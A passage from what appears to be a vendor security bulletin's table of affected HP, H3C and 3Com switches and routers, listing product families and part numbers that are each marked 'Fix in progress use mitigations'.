12900 Switch Series Fix in progress use mitigations JG619A HP FF 12910 Switch AC Chassis JG621A HP FF 12910 Main Processing Unit JG632A HP FF 12916 Switch AC Chassis JG634A HP FF 12916 Main Processing Unit

12500 Fix in progress use mitigations JC085A HP A12518 Switch Chassis JC086A HP A12508 Switch Chassis JC652A HP 12508 DC Switch Chassis JC653A HP 12518 DC Switch Chassis JC654A HP 12504 AC Switch Chassis JC655A HP 12504 DC Switch Chassis JF430A HP A12518 Switch Chassis JF430B HP 12518 Switch Chassis JF430C HP 12518 AC Switch Chassis JF431A HP A12508 Switch Chassis JF431B HP 12508 Switch Chassis JF431C HP 12508 AC Switch Chassis JC072B HP 12500 Main Processing Unit JC808A HP 12500 TAA Main Processing Unit H3C S12508 Routing Switch(AC-1) (0235A0GE) H3C S12518 Routing Switch(AC-1) (0235A0GF) H3C S12508 Chassis (0235A0E6) H3C S12508 Chassis (0235A38N) H3C S12518 Chassis (0235A0E7) H3C S12518 Chassis (0235A38M)

12500 (Comware v7) Fix in progress use mitigations JC085A HP A12518 Switch Chassis JC086A HP A12508 Switch Chassis JC652A HP 12508 DC Switch Chassis JC653A HP 12518 DC Switch Chassis JC654A HP 12504 AC Switch Chassis JC655A HP 12504 DC Switch Chassis JF430A HP A12518 Switch Chassis JF430B HP 12518 Switch Chassis JF430C HP 12518 AC Switch Chassis JF431A HP A12508 Switch Chassis JF431B HP 12508 Switch Chassis JF431C HP 12508 AC Switch Chassis JC072B HP 12500 Main Processing Unit JG497A HP 12500 MPU w/Comware V7 OS JG782A HP FF 12508E AC Switch Chassis JG783A HP FF 12508E DC Switch Chassis JG784A HP FF 12518E AC Switch Chassis JG785A HP FF 12518E DC Switch Chassis JG802A HP FF 12500E MPU H3C S12508 Routing Switch(AC-1) (0235A0GE) H3C S12518 Routing Switch(AC-1) (0235A0GF) H3C S12508 Chassis (0235A0E6) H3C S12508 Chassis (0235A38N) H3C S12518 Chassis (0235A0E7) H3C S12518 Chassis (0235A38M)

11900 Switch Series Fix in progress use mitigations JG608A HP FF 11908-V Switch Chassis JG609A HP FF 11900 Main Processing Unit

10500 Switch Series (Comware v5) Fix in progress use mitigations JC611A HP 10508-V Switch Chassis JC612A HP 10508 Switch Chassis JC613A HP 10504 Switch Chassis JC614A HP 10500 Main Processing Unit JC748A HP 10512 Switch Chassis JG375A HP 10500 TAA Main Processing Unit JG820A HP 10504 TAA Switch Chassis JG821A HP 10508 TAA Switch Chassis JG822A HP 10508-V TAA Switch Chassis JG823A HP 10512 TAA Switch Chassis

10500 Switch Series (Comware v7) Fix in progress use mitigations JC611A HP 10508-V Switch Chassis JC612A HP 10508 Switch Chassis JC613A HP 10504 Switch Chassis JC748A HP 10512 Switch Chassis JG820A HP 10504 TAA Switch Chassis JG821A HP 10508 TAA Switch Chassis JG822A HP 10508-V TAA Switch Chassis JG823A HP 10512 TAA Switch Chassis JG496A HP 10500 Type A MPU w/Comware v7 OS

9500E Fix in progress use mitigations JC124A HP A9508 Switch Chassis JC124B HP 9505 Switch Chassis JC125A HP A9512 Switch Chassis JC125B HP 9512 Switch Chassis JC474A HP A9508-V Switch Chassis JC474B HP 9508-V Switch Chassis H3C S9505E Routing-Switch Chassis (0235A0G6) H3C S9508E-V Routing-Switch Chassis (0235A38Q) H3C S9512E Routing-Switch Chassis (0235A0G7) H3C S9508E-V Routing-Switch Chassis (0235A38Q) H3C S9505E Chassis w/ Fans (0235A38P) H3C S9512E Chassis w/ Fans (0235A38R)

Router 8800 Fix in progress use mitigations JC147A HP A8802 Router Chassis JC147B HP 8802 Router Chassis JC148A HP A8805 Router Chassis JC148B HP 8805 Router Chassis JC149A HP A8808 Router Chassis JC149B HP 8808 Router Chassis JC150A HP A8812 Router Chassis JC150B HP 8812 Router Chassis JC141A HP 8802 Main Control Unit Module JC138A HP 8805/08/12 (1E) Main Cntrl Unit Mod JC137A HP 8805/08/12 (2E) Main Cntrl Unit Mod H3C SR8805 10G Core Router Chassis (0235A0G8) H3C SR8808 10G Core Router Chassis (0235A0G9) H3C SR8812 10G Core Router Chassis (0235A0GA) H3C SR8802 10G Core Router Chassis (0235A0GC) H3C SR8802 10G Core Router Chassis (0235A31B) H3C SR8805 10G Core Router Chassis (0235A31C) H3C SR8808 10G Core Router Chassis (0235A31D) H3C SR8812 10G Core Router Chassis (0235A31E)

7500 Switch Series Fix in progress use mitigations JC666A HP A7503-S 144 Gbps Fab/MPU w 24p Gig-T JC697A HP A7502 TAA Main Processing Unit JC698A HP A7503S 144 Gbps TAA Fab/MPU w 24p GbE JC699A HP A7500 384Gbps TAA Fab/MPU w 2p 10-GbE JC700A HP A7500 384 Gbps TAA Fabric / MPU JC701A HP A7510 768 Gbps TAA Fabric / MPU JD193A HP 384 Gbps A7500 Fab Mod w/2 XFP Ports JD193B HP 7500 384Gbps Fab Mod w/2 XFP Ports JD194A HP 384 Gbps Fabric A7500 Module JD194B HP 7500 384Gbps Fabric Module JD195A HP 7500 384Gbps Advanced Fabric Module JD196A HP 7502 Fabric Module JD220A HP 7500 768Gbps Fabric Module JD238A HP A7510 Switch Chassis JD238B HP 7510 Switch Chassis JD239A HP A7506 Switch Chassis JD239B HP 7506 Switch Chassis JD240A HP A7503 Switch Chassis JD240B HP 7503 Switch Chassis JD241A HP A7506 Vertical Switch Chassis JD241B HP 7506-V Switch Chassis JD242A HP A7502 Switch Chassis JD242B HP 7502 Switch Chassis JD243A HP A7503 Switch Chassis w/1 Fabric Slot JD243B HP 7503-S Switch Chassis w/1 Fabric Slot H3C S7502E Ethernet Switch Chassis with Fan (0235A0G4) H3C S7503E Ethernet Switch Chassis with Fan (0235A0G2) H3C S7503E-S Ethernet Switch Chassis with Fan (0235A0G5) H3C S7506E Ethernet Switch Chassis with Fan (0235A0G1) H3C S7506E-V Ethernet Switch Chassis with Fan (0235A0G3) H3C S7510E Ethernet Switch Chassis with Fan (0235A0G0) H3C S7502E Chassis w/ fans (0235A29A) H3C S7503E Chassis w/ fans (0235A27R) H3C S7503E-S Chassis w/ fans (0235A33R) H3C S7506E Chassis w/ fans (0235A27Q) H3C S7506E-V Chassis w/ fans (0235A27S)

HSR6800 Fix in progress use mitigations JG361A HP HSR6802 Router Chassis JG362A HP HSR6804 Router Chassis JG363A HP HSR6808 Router Chassis JG364A HP HSR6800 RSE-X2 Router MPU JG779A HP HSR6800 RSE-X2 Router TAA MPU

HSR6800 Russian Version Fix in progress use mitigations JG361A HP HSR6802 Router Chassis JG362A HP HSR6804 Router Chassis JG363A HP HSR6808 Router Chassis JG364A HP HSR6800 RSE-X2 Router MPU JG779A HP HSR6800 RSE-X2 Router TAA MPU

HSR6602 Fix in progress use mitigations JG353A HP HSR6602-G Router JG354A HP HSR6602-XG Router JG776A HP HSR6602-G TAA Router JG777A HP HSR6602-XG TAA Router

HSR6602 Russian Version Fix in progress use mitigations JG353A HP HSR6602-G Router JG354A HP HSR6602-XG Router JG776A HP HSR6602-G TAA Router JG777A HP HSR6602-XG TAA Router

A6600 Fix in progress use mitigations JC177A HP 6608 Router JC177B HP A6608 Router Chassis JC178A HP 6604 Router Chassis JC178B HP A6604 Router Chassis JC496A HP 6616 Router Chassis JC566A HP A6600 RSE-X1 Main Processing Unit JG780A HP 6600 RSE-X1 Router TAA MPU H3C RT-SR6608-OVS-H3 (0235A32X) H3C RT-SR6604-OVS-H3 (0235A37X) H3C SR6616 Router Chassis (0235A41D)

A6600 Russian Version Fix in progress use mitigations JC177A HP 6608 Router JC177B HP A6608 Router Chassis JC178A HP 6604 Router Chassis JC178B HP A6604 Router Chassis JC496A HP 6616 Router Chassis JC566A HP A6600 RSE-X1 Main Processing Unit JG780A HP 6600 RSE-X1 Router TAA MPU H3C RT-SR6608-OVS-H3 (0235A32X) H3C RT-SR6604-OVS-H3 (0235A37X) H3C SR6616 Router Chassis (0235A41D)

6600 MCP Fix in progress use mitigations JC177A HP 6608 Router JC177B HP A6608 Router Chassis JC178A HP 6604 Router Chassis JC178B HP A6604 Router Chassis JC496A HP 6616 Router Chassis JG778A HP 6600 MCP-X2 Router TAA MPU. JG355A HP 6600 MCP-X1 Router MPU JG356A HP 6600 MCP-X2 Router MPU H3C RT-SR6608-OVS-H3 (0235A32X) H3C RT-SR6604-OVS-H3 (0235A37X) H3C SR6616 Router Chassis (0235A41D)

6600 MCP Russian Version Fix in progress use mitigations JC177A HP 6608 Router JC177B HP A6608 Router Chassis JC178A HP 6604 Router Chassis JC178B HP A6604 Router Chassis JC496A HP 6616 Router Chassis JG778A HP 6600 MCP-X2 Router TAA MPU JG355A HP 6600 MCP-X1 Router MPU JG356A HP 6600 MCP-X2 Router MPU H3C RT-SR6608-OVS-H3 (0235A32X) H3C RT-SR6604-OVS-H3 (0235A37X) H3C SR6616 Router Chassis (0235A41D)

5920 Switch Series Fix in progress use mitigations JG296A HP 5920AF-24XG Switch JG555A HP 5920AF-24XG TAA Switch

5900 Switch Series Fix in progress use mitigations JC772A HP 5900AF-48XG-4QSFP+ Switch JG336A HP 5900AF-48XGT-4QSFP+ Switch JG510A HP 5900AF-48G-4XG-2QSFP+ Switch JG554A HP 5900AF-48XG-4QSFP+ TAA Switch JG838A HP FF 5900CP-48XG-4QSFP+ Switch

5900 Virtual Switch Fix in progress use mitigations JG814AAE HP Virtual Switch 5900v VMware E-LTU JG815AAE HP VSO SW for 5900v VMware E-LTU

5830 Switch Series Fix in progress use mitigations JC691A HP A5830AF-48G Switch w/1 Interface Slot JC694A HP A5830AF-96G Switch JG316A HP 5830AF-48G TAA Switch w/1 Intf Slot JG374A HP 5830AF-96G TAA Switch

5820 Switch Series Fix in progress use mitigations JC102A HP 5820-24XG-SFP+ Switch JC106A HP 5820-14XG-SFP+ Switch with 2 Slots JG219A HP 5820AF-24XG Switch JG243A HP 5820-24XG-SFP+ TAA-compliant Switch JG259A HP 5820X-14XG-SFP+ TAA Switch w 2 Slots H3C S5820X-28C 14 port (SFP Plus ) Plus 4-port BT (RJ45) Plus 2 media modules Plus OSM (0235A37L) H3C S5820X-28S 24-port 10GBASE-X (SFP Plus ) Plus 4-port 10/100/1000BASE-T (RJ45) (0235A370)

5800 Switch Series Fix in progress use mitigations JC099A HP 5800-24G-PoE Switch JC100A HP 5800-24G Switch JC101A HP 5800-48G Switch with 2 Slots JC103A HP 5800-24G-SFP Switch JC104A HP 5800-48G-PoE Switch JC105A HP 5800-48G Switch JG225A HP 5800AF-48G Switch JG242A HP 5800-48G-PoE+ TAA Switch w 2 Slots JG254A HP 5800-24G-PoE+ TAA-compliant Switch JG255A HP 5800-24G TAA-compliant Switch JG256A HP 5800-24G-SFP TAA Switch w 1 Intf Slt JG257A HP 5800-48G-PoE+ TAA Switch with 1 Slot JG258A HP 5800-48G TAA Switch w 1 Intf Slot H3C S5800-32C - 24-port 1BT Plus 4-port (SFP Plus ) Plus 1 media slot (0235A36U) H3C S5800-32C-PWR - 24-port 10/100/1000BASE-T (RJ45) Plus 4-port 10GBASE-X (SFP Plus ) Plus 1 media module PoE (0235A36S) H3C S5800-32F 24-port 1000BASE-X (SFP) Plus 4-port 10GBASE-X (SFP Plus ) Plus media module (no power) (0235A374) H3C S5800-56C 48-port 10/100/1000BASE-T (RJ45) Plus 4port 10GBASE-X (SFP Plus ) Plus media module (0235A379) H3C S5800-56C-PWR 48-port BT Plus 4 port (SFP Plus ) Plus media module (0235A378) H3C S5800-60C-PWR 48-port BT Plus 4-port SFP Plus 2 media modules Plus OSM (0235A36W)

5500 HI Switch Series Fix in progress use mitigations JG311A HP HI 5500-24G-4SFP w/2 Intf Slts Switch JG312A HP HI 5500-48G-4SFP w/2 Intf Slts Switch JG541A HP 5500-24G-PoE+-4SFP HI Switch w/2 Slt JG542A HP 5500-48G-PoE+-4SFP HI Switch w/2 Slt JG543A HP 5500-24G-SFP HI Switch w/2 Intf Slt JG679A HP 5500-24G-PoE+-4SFP HI TAA Swch w/2Slt JG680A HP 5500-48G-PoE+-4SFP HI TAA Swch w/2Slt JG681A HP 5500-24G-SFP HI TAA Swch w/2Slt

5500 EI Switch Series Fix in progress use mitigations JD373A HP 5500-24G DC EI Switch JD374A HP 5500-24G-SFP EI Switch JD375A HP 5500-48G EI Switch JD376A HP 5500-48G-PoE EI Switch JD377A HP 5500-24G EI Switch JD378A HP 5500-24G-PoE EI Switch JD379A HP 5500-24G-SFP DC EI Switch JG240A HP 5500-48G-PoE+ EI Switch w/2 Intf Slts JG241A HP 5500-24G-PoE+ EI Switch w/2 Intf Slts JG249A HP 5500-24G-SFP EI TAA Switch w 2 Slts JG250A HP 5500-24G EI TAA Switch w 2 Intf Slts JG251A HP 5500-48G EI TAA Switch w 2 Intf Slts JG252A HP 5500-24G-PoE+ EI TAA Switch w/2 Slts JG253A HP 5500-48G-PoE+ EI TAA Switch w/2 Slts H3C S5500-28C-EI Ethernet Switch (0235A253) H3C S5500-28F-EI Eth Switch AC Single (0235A24U) H3C S5500-52C-EI Ethernet Switch (0235A24X) H3C S5500-28C-EI-DC Ethernet Switch (0235A24S) H3C S5500-28C-PWR-EI Ethernet Switch (0235A255) H3C S5500-28F-EI Eth Swtch DC Single Pwr (0235A259) H3C S5500-52C-PWR-EI Ethernet Switch (0235A251)

5500 SI Switch Series Fix in progress use mitigations JD369A HP 5500-24G SI Switch JD370A HP 5500-48G SI Switch JD371A HP 5500-24G-PoE SI Switch JD372A HP 5500-48G-PoE SI Switch JG238A HP 5500-24G-PoE+ SI Switch w/2 Intf Slts JG239A HP 5500-48G-PoE+ SI Switch w/2 Intf Slts H3C S5500-28C-SI Ethernet Switch (0235A04U) H3C S5500-52C-SI Ethernet Switch (0235A04V) H3C S5500-28C-PWR-SI Ethernet Switch (0235A05H) H3C S5500-52C-PWR-SI Ethernet Switch (0235A05J)

5120 EI Switch Series Fix in progress use mitigations JE066A HP 5120-24G EI Switch JE067A HP 5120-48G EI Switch JE068A HP 5120-24G EI Switch with 2 Slots JE069A HP 5120-48G EI Switch with 2 Slots JE070A HP 5120-24G-PoE EI Switch with 2 Slots JE071A HP 5120-48G-PoE EI Switch with 2 Slots JG236A HP 5120-24G-PoE+ EI Switch w/2 Intf Slts JG237A HP 5120-48G-PoE+ EI Switch w/2 Intf Slts JG245A HP 5120-24G EI TAA Switch w 2 Intf Slts JG246A HP 5120-48G EI TAA Switch w 2 Intf Slts JG247A HP 5120-24G-PoE+ EI TAA Switch w 2 Slts JG248A HP 5120-48G-PoE+ EI TAA Switch w 2 Slts H3C S5120-24P-EI 24GE Plus 4ComboSFP (0235A0BQ) H3C S5120-28C-EI 24GE Plus 4Combo Plus 2Slt (0235A0BS) H3C S5120-48P-EI 48GE Plus 4ComboSFP (0235A0BR) H3C S5120-52C-EI 48GE Plus 4Combo Plus 2Slt (0235A0BT) H3C S5120-28C-PWR-EI 24G Plus 4C Plus 2S Plus POE (0235A0BU) H3C S5120-52C-PWR-EI 48G Plus 4C Plus 2S Plus POE (0235A0BV)

5120 SI switch Series Fix in progress use mitigations JE072A HP 5120-48G SI Switch JE073A HP 5120-16G SI Switch JE074A HP 5120-24G SI Switch JG091A HP 5120-24G-PoE+ (370W) SI Switch JG092A HP 5120-24G-PoE+ (170W) SI Switch H3C S5120-52P-SI 48GE Plus 4 SFP (0235A41W) H3C S5120-20P-SI L2 16GE Plus 4SFP (0235A42B) H3C S5120-28P-SI 24GE Plus 4 SFP (0235A42D) H3C S5120-28P-HPWR-SI (0235A0E5) H3C S5120-28P-PWR-SI (0235A0E3)

4800 G Switch Series Fix in progress use mitigations JD007A HP 4800-24G Switch JD008A HP 4800-24G-PoE Switch JD009A HP 4800-24G-SFP Switch JD010A HP 4800-48G Switch JD011A HP 4800-48G-PoE Switch

3Com Switch 4800G 24-Port (3CRS48G-24-91) 3Com Switch 4800G 24-Port SFP (3CRS48G-24S-91) 3Com Switch 4800G 48-Port (3CRS48G-48-91) 3Com Switch 4800G PWR 24-Port (3CRS48G-24P-91) 3Com Switch 4800G PWR 48-Port (3CRS48G-48P-91)

4510G Switch Series Fix in progress use mitigations JF428A HP 4510-48G Switch JF847A HP 4510-24G Switch

3Com Switch 4510G 48 Port (3CRS45G-48-91) 3Com Switch 4510G PWR 24-Port (3CRS45G-24P-91) 3Com Switch E4510-24G (3CRS45G-24-91)

4210G Switch Series Fix in progress use mitigations JF844A HP 4210-24G Switch JF845A HP 4210-48G Switch JF846A HP 4210-24G-PoE Switch

3Com Switch 4210-24G (3CRS42G-24-91) 3Com Switch 4210-48G (3CRS42G-48-91) 3Com Switch E4210-24G-PoE (3CRS42G-24P-91)

3610 Switch Series Fix in progress use mitigations JD335A HP 3610-48 Switch JD336A HP 3610-24-4G-SFP Switch JD337A HP 3610-24-2G-2G-SFP Switch JD338A HP 3610-24-SFP Switch H3C S3610-52P - model LS-3610-52P-OVS (0235A22C) H3C S3610-28P - model LS-3610-28P-OVS (0235A22D) H3C S3610-28TP - model LS-3610-28TP-OVS (0235A22E) H3C S3610-28F - model LS-3610-28F-OVS (0235A22F)

3600 V2 Switch Series Fix in progress use mitigations JG299A HP 3600-24 v2 EI Switch JG300A HP 3600-48 v2 EI Switch JG301A HP 3600-24-PoE+ v2 EI Switch JG301B HP 3600-24-PoE+ v2 EI Switch JG302A HP 3600-48-PoE+ v2 EI Switch JG302B HP 3600-48-PoE+ v2 EI Switch JG303A HP 3600-24-SFP v2 EI Switch JG304A HP 3600-24 v2 SI Switch JG305A HP 3600-48 v2 SI Switch JG306A HP 3600-24-PoE+ v2 SI Switch JG306B HP 3600-24-PoE+ v2 SI Switch JG307A HP 3600-48-PoE+ v2 SI Switch JG307B HP 3600-48-PoE+ v2 SI Switch

3100V2 Fix in progress use mitigations JD313B HP 3100-24-PoE v2 EI Switch JD318B HP 3100-8 v2 EI Switch JD319B HP 3100-16 v2 EI Switch JD320B HP 3100-24 v2 EI Switch JG221A HP 3100-8 v2 SI Switch JG222A HP 3100-16 v2 SI Switch JG223A HP 3100-24 v2 SI Switch

3100V2-48 Fix in progress use mitigations JG315A HP 3100-48 v2 Switch

1910 Fix in progress use mitigations JE005A HP 1910-16G Switch JE006A HP 1910-24G Switch JE007A HP 1910-24G-PoE (365W) Switch JE008A HP 1910-24G-PoE(170W) Switch JE009A HP 1910-48G Switch JG348A HP 1910-8G Switch JG349A HP 1910-8G-PoE+ (65W) Switch JG350A HP 1910-8G-PoE+ (180W) Switch 3Com Baseline Plus Switch 2900 Gigabit Family - 52 port (3CRBSG5293) 3Com Baseline Plus Switch 2900G - 20 port (3CRBSG2093) 3Com Baseline Plus Switch 2900G - 28 port (3CRBSG2893) 3Com Baseline Plus Switch 2900G - 28HPWR (3CRBSG28HPWR93) 3Com Baseline Plus Switch 2900G - 28PWR (3CRBSG28PWR93)

1810v1 P2 Fix in progress use mitigations J9449A HP 1810-8G Switch J9450A HP 1810-24G Switch

1810v1 PK Fix in progress use mitigations J9660A HP 1810-48G Switch

MSR20 Fix in progress use mitigations JD432A HP A-MSR20-21 Multi-Service Router JD662A HP MSR20-20 Multi-Service Router JD663A HP MSR20-21 Multi-Service Router JD663B HP MSR20-21 Router JD664A HP MSR20-40 Multi-Service Router JF228A HP MSR20-40 Router JF283A HP MSR20-20 Router H3C RT-MSR2020-AC-OVS-H3C (0235A324) H3C RT-MSR2040-AC-OVS-H3 (0235A326) H3C MSR 20-20 (0235A19H) H3C MSR 20-21 (0235A325) H3C MSR 20-40 (0235A19K) H3C MSR-20-21 Router (0235A19J)

MSR20-1X Fix in progress use mitigations JD431A HP MSR20-10 Router JD667A HP MSR20-15 IW Multi-Service Router JD668A HP MSR20-13 Multi-Service Router JD669A HP MSR20-13 W Multi-Service Router JD670A HP MSR20-15 A Multi-Service Router JD671A HP MSR20-15 AW Multi-Service Router JD672A HP MSR20-15 I Multi-Service Router JD673A HP MSR20-11 Multi-Service Router JD674A HP MSR20-12 Multi-Service Router JD675A HP MSR20-12 W Multi-Service Router JD676A HP MSR20-12 T1 Multi-Service Router JF236A HP MSR20-15-I Router JF237A HP MSR20-15-A Router JF238A HP MSR20-15-I-W Router JF239A HP MSR20-11 Router JF240A HP MSR20-13 Router JF241A HP MSR20-12 Router JF806A HP MSR20-12-T Router JF807A HP MSR20-12-W Router JF808A HP MSR20-13-W Router JF809A HP MSR20-15-A-W Router JF817A HP MSR20-15 Router JG209A HP MSR20-12-T-W Router (NA) JG210A HP MSR20-13-W Router (NA) H3C MSR 20-15 Router Host(AC) 1 FE 4 LSW 1 ADSLoPOTS 1 DSIC (0235A0A8) H3C MSR 20-10 (0235A0A7) H3C RT-MSR2011-AC-OVS-H3 (0235A395) H3C RT-MSR2012-AC-OVS-H3 (0235A396) H3C RT-MSR2012-AC-OVS-W-H3 (0235A397) H3C RT-MSR2012-T-AC-OVS-H3 (0235A398) H3C RT-MSR2013-AC-OVS-H3 (0235A390) H3C RT-MSR2013-AC-OVS-W-H3 (0235A391) H3C RT-MSR2015-AC-OVS-A-H3 (0235A392) H3C RT-MSR2015-AC-OVS-AW-H3 (0235A393) H3C RT-MSR2015-AC-OVS-I-H3 (0235A394) H3C RT-MSR2015-AC-OVS-IW-H3 (0235A38V) H3C MSR 20-11 (0235A31V) H3C MSR 20-12 (0235A32E) H3C MSR 20-12 T1 (0235A32B) H3C MSR 20-13 (0235A31W) H3C MSR 20-13 W (0235A31X) H3C MSR 20-15 A (0235A31Q) H3C MSR 20-15 A W (0235A31R) H3C MSR 20-15 I (0235A31N) H3C MSR 20-15 IW (0235A31P) H3C MSR20-12 W (0235A32G)

MSR30 Fix in progress use mitigations JD654A HP MSR30-60 POE Multi-Service Router JD657A HP MSR30-40 Multi-Service Router JD658A HP MSR30-60 Multi-Service Router JD660A HP MSR30-20 POE Multi-Service Router JD661A HP MSR30-40 POE Multi-Service Router JD666A HP MSR30-20 Multi-Service Router JF229A HP MSR30-40 Router JF230A HP MSR30-60 Router JF232A HP RT-MSR3040-AC-OVS-AS-H3 JF235A HP MSR30-20 DC Router JF284A HP MSR30-20 Router JF287A HP MSR30-40 DC Router JF801A HP MSR30-60 DC Router JF802A HP MSR30-20 PoE Router JF803A HP MSR30-40 PoE Router JF804A HP MSR30-60 PoE Router H3C MSR 30-20 Router (0235A328) H3C MSR 30-40 Router Host(DC) (0235A268) H3C RT-MSR3020-AC-POE-OVS-H3 (0235A322) H3C RT-MSR3020-DC-OVS-H3 (0235A267) H3C RT-MSR3040-AC-OVS-H (0235A299) H3C RT-MSR3040-AC-POE-OVS-H3 (0235A323) H3C RT-MSR3060-AC-OVS-H3 (0235A320) H3C RT-MSR3060-AC-POE-OVS-H3 (0235A296) H3C RT-MSR3060-DC-OVS-H3 (0235A269) H3C MSR 30-20 RTVZ33020AS Router Host(AC) (0235A20S) H3C MSR 30-20 (0235A19L) H3C MSR 30-20 POE (0235A239) H3C MSR 30-40 (0235A20J) H3C MSR 30-40 POE (0235A25R) H3C MSR 30-60 (0235A20K) H3C MSR 30-60 POE (0235A25S) H3C RT-MSR3040-AC-OVS-AS-H3 (0235A20V)

MSR30-16 Fix in progress use mitigations JD659A HP MSR30-16 POE Multi-Service Router JD665A HP MSR30-16 Multi-Service Router JF233A HP MSR30-16 Router JF234A HP MSR30-16 PoE Router H3C RT-MSR3016-AC-OVS-H3 (0235A327) H3C RT-MSR3016-AC-POE-OVS-H3 (0235A321) H3C MSR 30-16 (0235A237) H3C MSR 30-16 POE (0235A238)

MSR30-1X Fix in progress use mitigations JF800A HP MSR30-11 Router JF816A HP MSR30-10 2 FE /2 SIC /1 MIM MS Rtr JG182A HP MSR30-11E Router JG183A HP MSR30-11F Router JG184A HP MSR30-10 DC Router H3C MSR 30-10 Router Host(AC) 2FE 2SIC 1XMIM 256DDR (0235A39H) H3C RT-MSR3011-AC-OVS-H3 (0235A29L)

MSR50 Fix in progress use mitigations JD433A HP MSR50-40 Router JD653A HP MSR50 Processor Module JD655A HP MSR50-40 Multi-Service Router JD656A HP MSR50-60 Multi-Service Router JF231A HP MSR50-60 Router JF285A HP MSR50-40 DC Router JF640A HP MSR50-60 Rtr Chassis w DC PwrSupply H3C MSR 50-40 Router (0235A297) H3C MSR5040-DC-OVS-H3C (0235A20P) H3C RT-MSR5060-AC-OVS-H3 (0235A298) H3C MSR 50-40 Chassis (0235A20N) H3C MSR 50-60 Chassis (0235A20L)

MSR50-G2 Fix in progress use mitigations JD429A HP MSR50 G2 Processor Module JD429B HP MSR50 G2 Processor Module H3C H3C MSR 50 Processor Module-G2 (0231A84Q) H3C MSR 50 High Performance Main Processing Unit 3GE (Combo) 256F/1GD(0231A0KL)

MSR20 Russian version Fix in progress use mitigations JD663B HP MSR20-21 Router JF228A HP MSR20-40 Router JF283A HP MSR20-20 Router H3C RT-MSR2020-AC-OVS-H3C (0235A324) H3C RT-MSR2040-AC-OVS-H3 (0235A326)

MSR20-1X Russian version Fix in progress use mitigations JD431A HP MSR20-10 Router JF236A HP MSR20-15-I Router JF237A HP MSR20-15-A Router JF238A HP MSR20-15-I-W Router JF239A HP MSR20-11 Router JF240A HP MSR20-13 Router JF241A HP MSR20-12 Router JF806A HP MSR20-12-T Router JF807A HP MSR20-12-W Router JF808A HP MSR20-13-W Router JF809A HP MSR20-15-A-W Router JF817A HP MSR20-15 Router H3C MSR 20-10 (0235A0A7) H3C RT-MSR2015-AC-OVS-I-H3 (0235A394) H3C RT-MSR2015-AC-OVS-A-H3 (0235A392) H3C RT-MSR2015-AC-OVS-AW-H3 (0235A393) H3C RT-MSR2011-AC-OVS-H3 (0235A395) H3C RT-MSR2013-AC-OVS-H3 (0235A390) H3C RT-MSR2012-AC-OVS-H3 (0235A396) H3C RT-MSR2012-T-AC-OVS-H3 (0235A398) H3C RT-MSR2012-AC-OVS-W-H3 (0235A397) H3C RT-MSR2013-AC-OVS-W-H3 (0235A391) H3C RT-MSR2015-AC-OVS-IW-H3 (0235A38V) H3C MSR 20-15 Router Host(AC) 1 FE 4 LSW 1 ADSLoPOTS 1 DSIC (0235A0A8)

MSR30 Russian version Fix in progress use mitigations JF229A HP MSR30-40 Router JF230A HP MSR30-60 Router JF235A HP MSR30-20 DC Router JF284A HP MSR30-20 Router JF287A HP MSR30-40 DC Router JF801A HP MSR30-60 DC Router JF802A HP MSR30-20 PoE Router JF803A HP MSR30-40 PoE Router JF804A HP MSR30-60 PoE Router H3C RT-MSR3040-AC-OVS-H (0235A299) H3C RT-MSR3060-AC-OVS-H3 (0235A320) H3C RT-MSR3020-DC-OVS-H3 (0235A267) H3C MSR 30-20 Router (0235A328) H3C MSR 30-40 Router Host(DC) (0235A268) H3C RT-MSR3060-DC-OVS-H3 (0235A269) H3C RT-MSR3020-AC-POE-OVS-H3 (0235A322) H3C RT-MSR3040-AC-POE-OVS-H3 (0235A323) H3C RT-MSR3060-AC-POE-OVS-H3 (0235A296)

MSR30-1X Russian version Fix in progress use mitigations JF800A HP MSR30-11 Router JF816A HP MSR30-10 2 FE /2 SIC /1 MIM MS Rtr JG182A HP MSR30-11E Router JG183A HP MSR30-11F Router JG184A HP MSR30-10 DC Router H3C RT-MSR3011-AC-OVS-H3 (0235A29L) H3C MSR 30-10 Router Host(AC) 2FE 2SIC 1XMIM 256DDR (0235A39H)

MSR30-16 Russian version Fix in progress use mitigations JF233A HP MSR30-16 Router JF234A HP MSR30-16 PoE Router H3C RT-MSR3016-AC-OVS-H3 (0235A327) H3C RT-MSR3016-AC-POE-OVS-H3 (0235A321)

MSR50 Russian version Fix in progress use mitigations JD433A HP MSR50-40 Router JD653A HP MSR50 Processor Module JD655A HP MSR50-40 Multi-Service Router JD656A HP MSR50-60 Multi-Service Router JF231A HP MSR50-60 Router JF285A HP MSR50-40 DC Router JF640A HP MSR50-60 Rtr Chassis w DC PwrSupply H3C MSR 50-40 Router (0235A297) H3C MSR 50 Processor Module (0231A791) H3C MSR 50-40 Chassis (0235A20N) H3C MSR 50-60 Chassis (0235A20L) H3C RT-MSR5060-AC-OVS-H3 (0235A298) H3C MSR5040-DC-OVS-H3C (0235A20P)

MSR50 G2 Russian version Fix in progress use mitigations JD429B HP MSR50 G2 Processor Module H3C MSR 50 High Performance Main Processing Unit 3GE (Combo) 256F/1GD (0231A0KL)

MSR9XX Fix in progress use mitigations JF812A HP MSR900 Router JF813A HP MSR920 Router JF814A HP MSR900-W Router JF815A HP MSR920 2FEWAN/8FELAN/.11b/g Rtr JG207A HP MSR900-W Router (NA) JG208A HP MSR920-W Router (NA) H3C MSR 900 Router with 802.11b/g 2 FE WAN 4 FE LAN 256DDR 802.11b (0235A0C2) H3C MSR 900 Router 2 FE WAN 4 FE LAN 256DDR (0235A0BX) H3C MSR 920 Router with 802.11b/g 2 FE WAN 8 FE LAN 256DDR (0235A0C4) H3C MSR 920 Router 2 FE WAN 8 FE LAN 256DDR (0235A0C0)

MSR9XX Russian version Fix in progress use mitigations JF812A HP MSR900 Router JF813A HP MSR920 Router JF814A HP MSR900-W Router JF815A HP MSR920 2FEWAN/8FELAN/.11b/g Rtr H3C MSR 900 Router 2 FE WAN 4 FE LAN 256DDR (0235A0BX) H3C MSR 920 Router 2 FE WAN 8 FE LAN 256DDR (0235A0C0) H3C MSR 900 Router with 802.11b/g 2 FE WAN 4 FE LAN 256DDR 802.11b (0235A0C2) H3C MSR 920 Router with 802.11b/g 2 FE WAN 8 FE LAN 256DDR (0235A0C4)

